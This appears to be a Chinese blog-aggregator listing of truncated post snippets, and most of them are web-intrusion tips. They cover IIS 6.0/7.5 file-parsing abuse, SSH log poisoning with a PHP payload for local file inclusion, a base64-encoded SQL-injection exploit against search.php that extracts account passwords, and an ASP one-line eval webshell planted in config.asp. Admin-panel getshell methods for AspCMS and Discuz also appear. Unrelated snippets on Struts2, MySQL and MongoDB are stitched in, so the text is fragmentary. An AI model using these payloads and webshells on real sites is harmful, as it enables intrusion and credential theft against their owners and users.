一、IIS 6.0解析漏洞IIS 6.0解析利用方法有两种1.目录解析/xx.asp/xx.jpg2.文件解析wooyun.asp;.jpg第一种，在网站下建立文件夹的名字为 .asp、.asa 的文件夹，其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。例如创建目录 wooyun.asp，那么/wooyun.asp/1.jpg将被当作asp文件来执行。假设黑阔可以...
转载
2018-11-18 23:55:55
308阅读
一、IIS 6.0解析IIS 6.0解析利用方法有两种1.目录解析/xx.asp/xx.jpg2.文件解析wooyun.asp;.jpg第一种，在网站下建立文件夹的名字为 .asp、.asa 的文件夹，其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。例如创建目录 wooyun.asp，那么/wooyun.asp/1.jpg将被当作asp文件来执行。假设黑阔可以...
转载
2022-04-23 09:05:10
344阅读
今天看文章学了一招，有包含漏洞无法传文件的时候用 目标服务器环境为ubuntu，ssh登录日志文件是/var/log/auth.log 找个Linux的环境执行ssh '<? phpinfo(); ?>'@192.168.48.129 这个时候我们看下auth.log里面有什么 PHP代码被成功写入 ...
转载
2021-09-02 11:30:00
1320阅读
2评论
代码就把账号密码注射出来了）search.ph
转载
2023-05-19 14:37:49
529阅读
这个是search.php exp 变种
search.php?
encode=YToxOntzOjQ6ImF0dHIiO2E6MTp7czoxMjU6IjEnKSBhbmQgMT0yIEdST1VQIEJZIGdvb2RzX2lkIHVuaW9uIGFsbCBzZWxlY3QgY29uY2F0KHVzZXJfbmFtZSwweDNhLHBhc3N3b3JkLCciXCcpIHVuaW9uI
转载
精选
2011-01-21 19:09:59
3072阅读
本文介绍在实际过程中需要升级structs2来修复安全漏洞，但是升级带来了spring升级，jdk升级到连锁反应，为了避免这个连锁反应，通过在低版本直接修改代码解决。
原创
精选
2021-09-30 22:19:41
2337阅读
点赞
[code="java"]1.用户注册页面register.jsp 用户名:
原创
2023-04-24 07:46:54
50阅读
1.MGR特点MySQL Group Replication(MGR)是MySQL官方在5.7.17版本引进的一个数据库高可用与高扩展的解决方案，以插件形式提供，实现了分布式下数据的最终一致性，总结MGR特点如下：高一致性：基于分布式paxos协议实现组复制，保证数据一致性；高容错性：自动检测机制，只要不是大多数节点都宕机就可以继续工作，内置防脑裂保护机制；高扩展性：节点的增加与移除会自动更新组成
飞鸟游鱼原创
1.有备份，上传图片备份。如不能修改文件后缀名，可备份成1.asp/1.mdb或1.asa/1.mdb的形式
2.写入配置文件一句话木马，如果过滤了,(,)可尝试<%eval
request("value")%>来突破，例如
config.asp
转载
精选
2009-09-24 02:19:02
2174阅读
点赞
飞鸟游鱼原创
1.有备份，上传图片备份。如不能修改文件后缀名，可备份成1.asp/1.mdb或1.asa/1.mdb的形式
2.写入配置文件一句话木马，如果过滤了,(,)可尝试<%eval
request("value")%>来突破，例如
config.asp
转载
2010-08-10 22:36:04
537阅读
 
文章没什么意思，唯一亮点就在于dz后台拿shell，不过也全文贴过来吧，图片不全贴了麻烦，就贴2张。Blog：http://hi.baidu.com/zhenker这几天心情很烦躁，于是想找个黑客网站检测下，百度搜到了饭客网，论坛是DZ的，手中没0day,杯具，习惯性的用我自己的明小子扫下，看能扫到啥能利用的，扫了半天扫到了一个很有利用价值的文件如下图：上次跟小凯搞一个黑客站的时候
转载
精选
2010-11-16 16:36:35
855阅读
代码结构： 使用Struts校验框架，保证输入学生的基本信息：学号、姓名、性别、出生年月、专业、总学分等，要求输入满足以下条件：(1) 学号前两位大于“13”并且后面4位必须为数字；(2) 出生年月必须保证年龄大于等于18岁；(3) 专业不能为空；(4) 总学分在0-80之间。 RegistActi
转载
2018-11-17 21:03:00
87阅读
2评论
Eclipse运行struts2项目报错：java.lang.ClassNotFoundException: org.apache.struts2.dispatcher.ng.filter.Strutif you are using struts2 version 2.5 you need to c
转载
2018-02-23 12:33:00
56阅读
2评论
·定义：Java三大框架主要用来做WEN应用。Struts主要负责表示层的显示；Spring利用它的IOC和AOP来处理控制业务（负责对数据库的操作）；Hibernate主要是数据持久化到数据库。 （1）Struts框架：struts是开源软件。使用Struts的目的是为了帮助我们减少在运用MVC设计模型来开发Web应用的时间。如果我们想混合使用Servlets和JSP的优点来建立可扩展的
转载
2023-06-17 13:33:25
72阅读
//首先是Action部分import java.io.File;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.UnsupportedEncodingException;import jav...
转载
2015-06-14 00:39:00
43阅读
2评论
转载
2012-07-21 23:25:00
49阅读
1. 使用的工具eclipse-jee-luna-SR2-win32
原创
2023-01-31 09:29:06
202阅读
IIS6.0解析漏洞，可以上传a.asp;.jps或者a.asp;a.jpg或者a.asp目录下传任意格式小马，都会解析这次讲的是IIS7.5解析漏洞，http://www.xxoo.com/fckeditor/editor/fckeditor.html上传图片，浏览，上传一个aspx的图片一句话木马，名字为：a.aspx.a;.a.aspx.jpg..jpg也可上传asp的图片马...
转载
2018-12-11 22:48:47
1869阅读
aspcms在老版本中可以通过添加模板直接添加asp.但是新版的aspcms中已经限制了添加模板的格式为html,js,css,当然如果是遇到iis6的话还是可以通过iis6的解析漏洞把文件名改成1.asp;.html这样的格式来拿到shell的.可是如果遇到iis7.5呢?以下是本人自己找到挖掘到的aspcms通杀版本的后台拿shell方法.1、进入后台，“扩展功能”--“幻灯片设置
转载
精选
2014-11-10 16:09:10
10000+阅读
1评论
MongoDB shell MongoDB自带简洁但功能强大的JavaScript shell。JavaScript shell键入一个变量会将变量的值转换为字符串打印到控制台上。 下面介绍基本的操作，一些注意事项。数据库CRUD操作将在下面的篇幅中介绍《NoSQL学习之路 （四）：创建、读取、更新、删除（CRUD)》 打开命令提示(cmd.exe)。进入到MongoDB解压的目录的
转载
2023-10-13 14:39:53
87阅读
